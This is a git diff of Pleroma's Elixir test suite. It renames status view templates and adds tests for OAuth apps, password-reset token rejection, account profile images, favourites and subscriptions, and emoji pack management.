a/test/web/mastodon_api/views/status_view_test.exs +++ b/test/web/mastodon_api/views/status_view_test.exs @@ -29,7 +29,7 @@ test "returns the direct conversation id when given the `with_conversation_id` o {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"}) status = - StatusView.render("status.json", + StatusView.render("show.json", activity: activity, with_direct_conversation_id: true, for: user @@ -46,7 +46,7 @@ test "returns a temporary ap_id based user for activities missing db users" do Repo.delete(user) Cachex.clear(:user_cache) - %{account: ms_user} = StatusView.render("status.json", activity: activity) + %{account: ms_user} = StatusView.render("show.json", activity: activity) assert ms_user.acct == "erroruser@example.com" end @@ -63,7 +63,7 @@ test "tries to get a user by nickname if fetching by ap_id doesn't work" do Cachex.clear(:user_cache) - result = StatusView.render("status.json", activity: activity) + result = StatusView.render("show.json", activity: activity) assert result[:account][:id] == to_string(user.id) end @@ -81,7 +81,7 @@ test "a note with null content" do User.get_cached_by_ap_id(note.data["actor"]) - status = StatusView.render("status.json", %{activity: note}) + status = StatusView.render("show.json", %{activity: note}) assert status.content == "" end @@ -93,7 +93,7 @@ test "a note activity" do convo_id = Utils.context_to_conversation_id(object_data["context"]) - status = StatusView.render("status.json", %{activity: note}) + status = StatusView.render("show.json", %{activity: note}) created_at = (object_data["published"] || "") @@ -103,7 +103,7 @@ test "a note activity" do id: to_string(note.id), uri: object_data["id"], url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note), - account: AccountView.render("account.json", %{user: user}), + account: AccountView.render("show.json", %{user: user}), in_reply_to_id: nil, in_reply_to_account_id: nil, card: nil, @@ -165,11 +165,11 @@ test "tells if the message is muted for some reason" do {:ok, user} = User.mute(user, other_user) {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"}) - status = StatusView.render("status.json", %{activity: activity}) + status = StatusView.render("show.json", %{activity: activity}) assert status.muted == false - status = StatusView.render("status.json", %{activity: activity, for: user}) + status = StatusView.render("show.json", %{activity: activity, for: user}) assert status.muted == true end @@ -181,13 +181,13 @@ test "tells if the message is thread muted" do {:ok, user} = User.mute(user, other_user) {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"}) - status = StatusView.render("status.json", %{activity: activity, for: user}) + status = StatusView.render("show.json", %{activity: activity, for: user}) assert status.pleroma.thread_muted == false {:ok, activity} = CommonAPI.add_mute(user, activity) - status = StatusView.render("status.json", %{activity: activity, for: user}) + status = StatusView.render("show.json", %{activity: activity, for: user}) assert status.pleroma.thread_muted == true end @@ -196,11 +196,11 @@ test "tells if the status is bookmarked" do user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{"status" => "Cute girls doing cute things"}) - status = StatusView.render("status.json", %{activity: activity}) + status = StatusView.render("show.json", %{activity: activity}) assert status.bookmarked == false - status = StatusView.render("status.json", %{activity: activity, for: user}) + status = StatusView.render("show.json", %{activity: activity, for: user}) assert status.bookmarked == false @@ -208,7 +208,7 @@ test "tells if the status is bookmarked" do activity = Activity.get_by_id_with_object(activity.id) - status = StatusView.render("status.json", %{activity: activity, for: user}) + status = StatusView.render("show.json", %{activity: activity, for: user}) assert status.bookmarked == true end @@ -220,7 +220,7 @@ test "a reply" do {:ok, activity} = CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id}) - status = StatusView.render("status.json", %{activity: activity}) + status = StatusView.render("show.json", %{activity: activity}) assert status.in_reply_to_id == to_string(note.id) @@ -237,7 +237,7 @@ test "contains mentions" do {:ok, [activity]} = OStatus.handle_incoming(incoming) - status = StatusView.render("status.json", %{activity: activity}) + status = StatusView.render("show.json", %{activity: activity}) assert status.mentions == Enum.map([user], fn u -> AccountView.render("mention.json", %{user: u}) end) @@ -263,7 +263,7 @@ test "create mentions from the 'to' field" do assert length(activity.recipients) == 3 - %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity}) + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) assert length(mentions) == 1 assert mention.url == recipient_ap_id @@ -300,7 +300,7 @@ test "create mentions from the 'tag' field" do assert length(activity.recipients) == 3 - %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity}) + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) assert length(mentions) == 1 assert mention.url == recipient.ap_id @@ -340,7 +340,7 @@ test "put the url advertised in the Activity in to the url attribute" do id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810" [activity] = Activity.search(nil, id) - status = StatusView.render("status.json", %{activity: activity}) + status = StatusView.render("show.json", %{activity: activity}) assert status.uri == id assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" @@ -352,7 +352,7 @@ test "a reblog" do {:ok, reblog, _} = CommonAPI.repeat(activity.id, user) - represented = StatusView.render("status.json", %{for: user, activity: reblog}) + represented = StatusView.render("show.json", %{for: user, activity: reblog}) assert represented[:id] == to_string(reblog.id) assert represented[:reblog][:id] == to_string(activity.id) @@ -369,7 +369,7 @@ test "a peertube video" do %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - represented = StatusView.render("status.json", %{for: user, activity: activity}) + represented = StatusView.render("show.json", %{for: user, activity: activity}) assert represented[:id] == to_string(activity.id) assert length(represented[:media_attachments]) == 1 @@ -570,7 +570,7 @@ test "embeds a relationship in the account" do "status" => "drink more water" }) - result = StatusView.render("status.json", %{activity: activity, for: other_user}) + result = StatusView.render("show.json", %{activity: activity, for: other_user}) assert result[:account][:pleroma][:relationship] == AccountView.render("relationship.json", %{user: other_user, target: user}) @@ -587,7 +587,7 @@ test "embeds a relationship in the account in reposts" do {:ok, activity, _object} = CommonAPI.repeat(activity.id, other_user) - result = StatusView.render("status.json", %{activity: activity, for: user}) + result = StatusView.render("show.json", %{activity: activity, for: user}) assert result[:account][:pleroma][:relationship] == AccountView.render("relationship.json", %{user: user, target: other_user}) @@ -604,8 +604,17 @@ test "visibility/list" do {:ok, activity} = CommonAPI.post(user, %{"status" => "foobar", "visibility" => "list:#{list.id}"}) - status = StatusView.render("status.json", activity: activity) + status = StatusView.render("show.json", activity: activity) assert status.visibility == "list" end + + test "successfully renders a Listen activity (pleroma extension)" do + listen_activity = insert(:listen) + + status = StatusView.render("listen.json", activity: listen_activity) + + assert status.length == listen_activity.data["object"]["length"] + assert status.title == listen_activity.data["object"]["title"] + end end diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs new file mode 100644 index 000000000..195b8c17f --- /dev/null +++ b/test/web/oauth/app_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AppTest do + use Pleroma.DataCase + + alias Pleroma.Web.OAuth.App + import Pleroma.Factory + + describe "get_or_make/2" do + test "gets exist app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) + assert exist_app == app + end + + test "make app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) + assert app.scopes == ["write"] + end + + test "gets exist app and updates scopes" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) + assert exist_app.id == app.id + assert exist_app.scopes == ["read", "write", "follow", "push"] + end + end +end diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs index c73c500d9..9a251b7ed 100644 --- a/test/web/oauth/oauth_controller_test.exs +++ b/test/web/oauth/oauth_controller_test.exs @@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do import Pleroma.Factory alias Pleroma.Repo + alias Pleroma.User alias Pleroma.Web.OAuth.Authorization alias Pleroma.Web.OAuth.OAuthController alias Pleroma.Web.OAuth.Token @@ -775,15 +776,11 @@ test "rejects token exchange with invalid client credentials" do test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) - info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true) {:ok, user} = - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_change) + insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) + |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true)) |> Repo.update() refute Pleroma.User.auth_active?(user) @@ -831,6 +828,33 @@ test "rejects token exchange for valid credentials belonging to deactivated user refute Map.has_key?(resp, "access_token") end + test "rejects token exchange for user with password_reset_pending set to true" do + password = "testpassword" + + user = + insert(:user, + password_hash: Comeonin.Pbkdf2.hashpwsalt(password), + info: %{password_reset_pending: true} + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 403) + + assert resp["error"] == "Password reset is required" + refute Map.has_key?(resp, "access_token") + end + test "rejects an invalid authorization code" do app = insert(:oauth_app) diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs index ec96f0012..f06023dff 100644 --- a/test/web/ostatus/ostatus_controller_test.exs +++ b/test/web/ostatus/ostatus_controller_test.exs @@ -50,20 +50,16 @@ test "decodes a salmon with a changed magic key", %{conn: conn} do assert response(conn, 200) end) =~ "[error]" - # Set a wrong magic-key for a user so it has to refetch - salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1") - # Wrong key - info_cng = - User.Info.remote_user_creation(salmon_user.info, %{ - magic_key: - "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" - }) + info = %{ + magic_key: + "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" + } - salmon_user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_cng) - |> User.update_and_set_cache() + # Set a wrong magic-key for a user so it has to refetch + "http://gs.example.org:4040/index.php/user/1" + |> User.get_cached_by_ap_id() + |> User.update_info(&User.Info.remote_user_creation(&1, info)) assert capture_log(fn -> conn = @@ -400,7 +396,8 @@ test "activity+json format. it redirects on actual feed of user", %{conn: conn} "oauthAuthorizationEndpoint" => "#{Pleroma.Web.base_url()}/oauth/authorize", "oauthRegistrationEndpoint" => "#{Pleroma.Web.base_url()}/api/v1/apps", "oauthTokenEndpoint" => "#{Pleroma.Web.base_url()}/oauth/token", - "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox" + "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox", + "uploadMedia" => "#{Pleroma.Web.base_url()}/api/ap/upload_media" } assert response["@context"] == [ @@ -462,7 +459,8 @@ test "json format. it redirects on actual feed of user", %{conn: conn} do "oauthAuthorizationEndpoint" => "#{Pleroma.Web.base_url()}/oauth/authorize", "oauthRegistrationEndpoint" => "#{Pleroma.Web.base_url()}/api/v1/apps", "oauthTokenEndpoint" => "#{Pleroma.Web.base_url()}/oauth/token", - "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox" + "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox", + "uploadMedia" => "#{Pleroma.Web.base_url()}/api/ap/upload_media" } assert response["@context"] == [ diff --git a/test/web/pleroma_api/controllers/account_controller_test.exs b/test/web/pleroma_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..3b4665afd --- /dev/null +++ b/test/web/pleroma_api/controllers/account_controller_test.exs @@ -0,0 +1,395 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + import Swoosh.TestAssertions + + @image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7" + + describe "POST /api/v1/pleroma/accounts/confirmation_resend" do + setup do + {:ok, user} = + insert(:user) + |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true)) + |> Repo.update() + + assert user.info.confirmation_pending + + [user: user] + end + + clear_config([:instance, :account_activation_required]) do + Config.put([:instance, :account_activation_required], true) + end + + test "resend account confirmation email", %{conn: conn, user: user} do + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") + |> json_response(:no_content) + + ObanHelpers.perform_all() + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + end + + describe "PATCH /api/v1/pleroma/accounts/update_avatar" do + test "user avatar can be set", %{conn: conn} do + user = insert(:user) + avatar_image = File.read!("test/fixtures/avatar_data_uri") + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: avatar_image}) + + user = refresh_record(user) + + assert %{ + "name" => _, + "type" => _, + "url" => [ + %{ + "href" => _, + "mediaType" => _, + "type" => _ + } + ] + } = user.avatar + + assert %{"url" => _} = json_response(conn, 200) + end + + test "user avatar can be reset", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: ""}) + + user = User.get_cached_by_id(user.id) + + assert user.avatar == nil + + assert %{"url" => nil} = json_response(conn, 200) + end + end + + describe "PATCH /api/v1/pleroma/accounts/update_banner" do + test "can set profile banner", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => @image}) + + user = refresh_record(user) + assert user.info.banner["type"] == "Image" + + assert %{"url" => _} = json_response(conn, 200) + end + + test "can reset profile banner", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => ""}) + + user = refresh_record(user) + assert user.info.banner == %{} + + assert %{"url" => nil} = json_response(conn, 200) + end + end + + describe "PATCH /api/v1/pleroma/accounts/update_background" do + test "background image can be set", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => @image}) + + user = refresh_record(user) + assert user.info.background["type"] == "Image" + assert %{"url" => _} = json_response(conn, 200) + end + + test "background image can be reset", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => ""}) + + user = refresh_record(user) + assert user.info.background == %{} + assert %{"url" => nil} = json_response(conn, 200) + end + end + + describe "getting favorites timeline of specified user" do + setup do + [current_user, user] = insert_pair(:user, %{info: %{hide_favorites: false}}) + [current_user: current_user, user: user] + end + + test "returns list of statuses favorited by specified user", %{ + conn: conn, + current_user: current_user, + user: user + } do + [activity | _] = insert_pair(:note_activity) + CommonAPI.favorite(activity.id, user) + + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + [like] = response + + assert length(response) == 1 + assert like["id"] == activity.id + end + + test "returns favorites for specified user_id when user is not logged in", %{ + conn: conn, + user: user + } do + activity = insert(:note_activity) + CommonAPI.favorite(activity.id, user) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + assert length(response) == 1 + end + + test "returns favorited DM only when user is logged in and he is one of recipients", %{ + conn: conn, + current_user: current_user, + user: user + } do + {:ok, direct} = + CommonAPI.post(current_user, %{ + "status" => "Hi @#{user.nickname}!", + "visibility" => "direct" + }) + + CommonAPI.favorite(direct.id, user) + + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + assert length(response) == 1 + + anonymous_response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + assert Enum.empty?(anonymous_response) + end + + test "does not return others' favorited DM when user is not one of recipients", %{ + conn: conn, + current_user: current_user, + user: user + } do + user_two = insert(:user) + + {:ok, direct} = + CommonAPI.post(user_two, %{ + "status" => "Hi @#{user.nickname}!", + "visibility" => "direct" + }) + + CommonAPI.favorite(direct.id, user) + + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "paginates favorites using since_id and max_id", %{ + conn: conn, + current_user: current_user, + user: user + } do + activities = insert_list(10, :note_activity) + + Enum.each(activities, fn activity -> + CommonAPI.favorite(activity.id, user) + end) + + third_activity = Enum.at(activities, 2) + seventh_activity = Enum.at(activities, 6) + + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{ + since_id: third_activity.id, + max_id: seventh_activity.id + }) + |> json_response(:ok) + + assert length(response) == 3 + refute third_activity in response + refute seventh_activity in response + end + + test "limits favorites using limit parameter", %{ + conn: conn, + current_user: current_user, + user: user + } do + 7 + |> insert_list(:note_activity) + |> Enum.each(fn activity -> + CommonAPI.favorite(activity.id, user) + end) + + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{limit: "3"}) + |> json_response(:ok) + + assert length(response) == 3 + end + + test "returns empty response when user does not have any favorited statuses", %{ + conn: conn, + current_user: current_user, + user: user + } do + response = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response(:ok) + + assert Enum.empty?(response) + end + + test "returns 404 error when specified user is not exist", %{conn: conn} do + conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") + + assert json_response(conn, 404) == %{"error" => "Record not found"} + end + + test "returns 403 error when user has hidden own favorites", %{ + conn: conn, + current_user: current_user + } do + user = insert(:user, %{info: %{hide_favorites: true}}) + activity = insert(:note_activity) + CommonAPI.favorite(activity.id, user) + + conn = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert json_response(conn, 403) == %{"error" => "Can't get favorites"} + end + + test "hides favorites for new users by default", %{conn: conn, current_user: current_user} do + user = insert(:user) + activity = insert(:note_activity) + CommonAPI.favorite(activity.id, user) + + conn = + conn + |> assign(:user, current_user) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert user.info.hide_favorites + assert json_response(conn, 403) == %{"error" => "Can't get favorites"} + end + end + + describe "subscribing / unsubscribing" do + test "subscribing / unsubscribing to a user", %{conn: conn} do + user = insert(:user) + subscription_target = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") + + assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") + + assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200) + end + end + + describe "subscribing" do + test "returns 404 when subscription_target not found", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/target_id/subscribe") + + assert %{"error" => "Record not found"} = json_response(conn, 404) + end + end + + describe "unsubscribing" do + test "returns 404 when subscription_target not found", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/target_id/unsubscribe") + + assert %{"error" => "Record not found"} = json_response(conn, 404) + end + end +end diff --git a/test/web/pleroma_api/controllers/emoji_api_controller_test.exs b/test/web/pleroma_api/controllers/emoji_api_controller_test.exs new file mode 100644 index 000000000..5f74460e8 --- /dev/null +++ b/test/web/pleroma_api/controllers/emoji_api_controller_test.exs @@ -0,0 +1,463 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + + import Pleroma.Factory + + @emoji_dir_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + test "shared & non-shared pack information in list_packs is ok" do + conn = build_conn() + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + + assert Map.has_key?(resp, "test_pack") + + pack = resp["test_pack"] + + assert Map.has_key?(pack["pack"], "download-sha256") + assert pack["pack"]["can-download"] + + assert pack["files"] == %{"blank" => "blank.png"} + + # Non-shared pack + + assert Map.has_key?(resp, "test_pack_nonshared") + + pack = resp["test_pack_nonshared"] + + refute pack["pack"]["shared"] + refute pack["pack"]["can-download"] + end + + test "listing remote packs" do + admin = insert(:user, info: %{is_admin: true}) + conn = build_conn() |> assign(:user, admin) + + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> + json(resp) + end) + + assert conn + |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"}) + |> json_response(200) == resp + end + + test "downloading a shared pack from download_shared" do + conn = build_conn() + + resp = + conn + |> get(emoji_api_path(conn, :download_shared, "test_pack")) + |> response(200) + + {:ok, arch} = :zip.unzip(resp, [:memory]) + + assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) + assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) + end + + test "downloading shared & unshared packs from another instance via download_from, deleting them" do + on_exit(fn -> + File.rm_rf!("#{@emoji_dir_path}/test_pack2") + File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2") + end) + + mock(fn + %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: []}}) + + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/list" + } -> + conn = build_conn() + + conn + |> get(emoji_api_path(conn, :list_packs)) + |> json_response(200) + |> json() + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack" + } -> + conn = build_conn() + + conn + |> get(emoji_api_path(conn, :download_shared, "test_pack")) + |> response(200) + |> text() + + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip")) + end) + + admin = insert(:user, info: %{is_admin: true}) + + conn = build_conn() |> assign(:user, admin) + + assert (conn + |> put_req_header("content-type", "application/json") + |> post( + emoji_api_path( + conn, + :download_from + ), + %{ + instance_address: "https://old-instance", + pack_name: "test_pack", + as: "test_pack2" + } + |> Jason.encode!() + ) + |> json_response(500))["error"] =~ "does not support" + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + emoji_api_path( + conn, + :download_from + ), + %{ + instance_address: "https://example.com", + pack_name: "test_pack", + as: "test_pack2" + } + |> Jason.encode!() + ) + |> json_response(200) == "ok" + + assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json") + assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png") + + assert conn + |> delete(emoji_api_path(conn, :delete, "test_pack2")) + |> json_response(200) == "ok" + + refute File.exists?("#{@emoji_dir_path}/test_pack2") + + # non-shared, downloaded from the fallback URL + + conn = build_conn() |> assign(:user, admin) + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + emoji_api_path( + conn, + :download_from + ), + %{ + instance_address: "https://example.com", + pack_name: "test_pack_nonshared", + as: "test_pack_nonshared2" + } + |> Jason.encode!() + ) + |> json_response(200) == "ok" + + assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json") + assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png") + + assert conn + |> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2")) + |> json_response(200) == "ok" + + refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2") + end + + describe "updating pack metadata" do + setup do + pack_file = "#{@emoji_dir_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + {:ok, + admin: insert(:user, info: %{is_admin: true}), + pack_file: pack_file, + new_data: %{ + "license" => "Test license changed", + "homepage" => "https://pleroma.social", + "description" => "Test description", + "share-files" => false + }} + end + + test "for a pack without a fallback source", ctx do + conn = build_conn() + + assert conn + |> assign(:user, ctx[:admin]) + |> post( + emoji_api_path(conn, :update_metadata, "test_pack"), + %{ + "new_data" => ctx[:new_data] + } + ) + |> json_response(200) == ctx[:new_data] + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] + end + + test "for a pack with a fallback source", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip")) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + new_data_with_sha = + Map.put( + new_data, + "fallback-src-sha256", + "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF" + ) + + conn = build_conn() + + assert conn + |> assign(:user, ctx[:admin]) + |> post( + emoji_api_path(conn, :update_metadata, "test_pack"), + %{ + "new_data" => new_data + } + ) + |> json_response(200) == new_data_with_sha + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha + end + + test "when the fallback source doesn't have all the files", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) + text(empty_arch) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + conn = build_conn() + + assert (conn + |> assign(:user, ctx[:admin]) + |> post( + emoji_api_path(conn, :update_metadata, "test_pack"), + %{ + "new_data" => new_data + } + ) + |> json_response(:bad_request))["error"] =~ "does not have all" + end + end + + test "updating pack files" do + pack_file = "#{@emoji_dir_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + + File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png") + File.rm_rf!("#{@emoji_dir_path}/test_pack/dir") + File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2") + end) + + admin = insert(:user, info: %{is_admin: true}) + + conn = build_conn() + + same_name = %{ + "action" => "add", + "shortcode" => "blank", + "filename" => "dir/blank.png", + "file" => %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_dir_path}/test_pack/blank.png" + } + } + + different_name = %{same_name | "shortcode" => "blank_2"} + + conn = conn |> assign(:user, admin) + + assert (conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name) + |> json_response(:conflict))["error"] =~ "already exists" + + assert conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), different_name) + |> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"} + + assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png") + + assert conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ + "action" => "update", + "shortcode" => "blank_2", + "new_shortcode" => "blank_3", + "new_filename" => "dir_2/blank_3.png" + }) + |> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"} + + refute File.exists?("#{@emoji_dir_path}/test_pack/dir/") + assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png") + + assert conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ + "action" => "remove", + "shortcode" => "blank_3" + }) + |> json_response(200) == %{"blank" => "blank.png"} + + refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/") + + mock(fn + %{ + method: :get, + url: "https://test-blank/blank_url.png" + } -> + text(File.read!("#{@emoji_dir_path}/test_pack/blank.png")) + end) + + # The name should be inferred 